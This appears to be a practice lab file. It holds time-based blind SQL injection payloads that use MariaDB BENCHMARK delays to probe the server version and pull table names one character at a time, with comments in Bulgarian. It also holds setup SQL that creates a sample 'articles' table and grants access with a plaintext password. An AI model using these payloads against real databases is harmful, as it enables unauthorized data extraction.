dadas', IF(1=1, BENCHMARK(100000000, rand()), NULL), 'abcd') -- -
dadas', IF(1=2, BENCHMARK(100000000, rand()), NULL), 'abcd') -- -

dadas', IF(VERSION()='10.1.19-MariaDB',IF(BENCHMARK(100000000, rand())=0, NULL, NULL), NULL), 'abcd') -- -
dadas', IF(VERSION()='10.1.18-MariaDB',IF(BENCHMARK(100000000, rand())=0, NULL, NULL), NULL), 'abcd') -- -


dadas', IF(SUBSTRING(VERSION(),4,1)='0',IF(BENCHMARK(100000000, rand())=0, NULL, NULL), NULL), 'abcd') -- -

SELECT DISTINCT table_name
FROM information_schema.columns
ORDER BY BINARY(table_name) DESC;
	
dadas', IF(SUBSTRING((SELECT DISTINCT table_name FROM information_schema.columns ORDER BY BINARY(table_name) DESC LIMIT 1),1,1)='a',IF(BENCHMARK(100000000, rand())=0, NULL, NULL), NULL), 'abcd') -- -
	
// проверка дали втората буква от първата таблица е главна или малка
dadas', IF(ASCII(SUBSTRING((SELECT DISTINCT table_name FROM information_schema.columns 			ORDER BY BINARY(table_name) DESC LIMIT 1),2,1) 	)	>90,IF(BENCHMARK(100000000, rand())=0, NULL, NULL), NULL), 'abcd') -- -


// проверка дали втората буква от първата таблица по-малка от 'o'
dadas', IF(ASCII(SUBSTRING((SELECT DISTINCT table_name FROM information_schema.columns ORDER BY BINARY(table_name) DESC LIMIT 1),2,1) 	)	<116,IF(BENCHMARK(100000000, rand())=0, NULL, NULL), NULL), 'abcd') -- -
		
		
		
		
CREATE TABLE articles(
	id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
	title VARCHAR(255) NOT NULL,
	content TEXT NOT NULL
);

INSERT INTO articles(title, content) VALUES
("article 1", "Mail::RFC822::Address is a Perl module to validate email addresses according to the RFC 822 grammar. It provides the same functionality as RFC::RFC822::Address, but uses Perl regular expressions rather that the Parse::RecDescent parser. This means that the module is much faster to load as it does not need to compile the grammar on startup.

Download Mail::RFC822::Address-0.4.tar.gz or read the documentation.

If you want to test the behaviour of the module, an online version is available.

The grammar described in RFC 822 is surprisingly complex. Implementing validation with regular expressions somewhat pushes the limits of what it is sensible to do with regular expressions, although Perl copes well. The regular expression below shows the complexity, although its inclusion on this page has caused some confusion:

I did not write this regular expression by hand. It is generated by the Perl module by concatenating a simpler set of regular expressions that relate directly to the grammar defined in the RFC.
The regular expression does not cope with comments in email addresses. The RFC allows comments to be arbitrarily nested. A single regular expression cannot cope with this. The Perl module pre-processes email addresses to remove comments before applying the mail regular expression.");

INSERT INTO articles(title, content) VALUES
("article 2", "FreeBSD is an operating system used to power modern servers, desktops, and embedded platforms. A large community has continually developed it for more than thirty years. Its advanced networking, security, and storage features have made FreeBSD the platform of choice for many of the busiest web sites and most pervasive embedded networking and storage devices.");

GRANT SELECT ON osup.articles TO header@localhost IDENTIFIED BY "gfdgifdghdf";













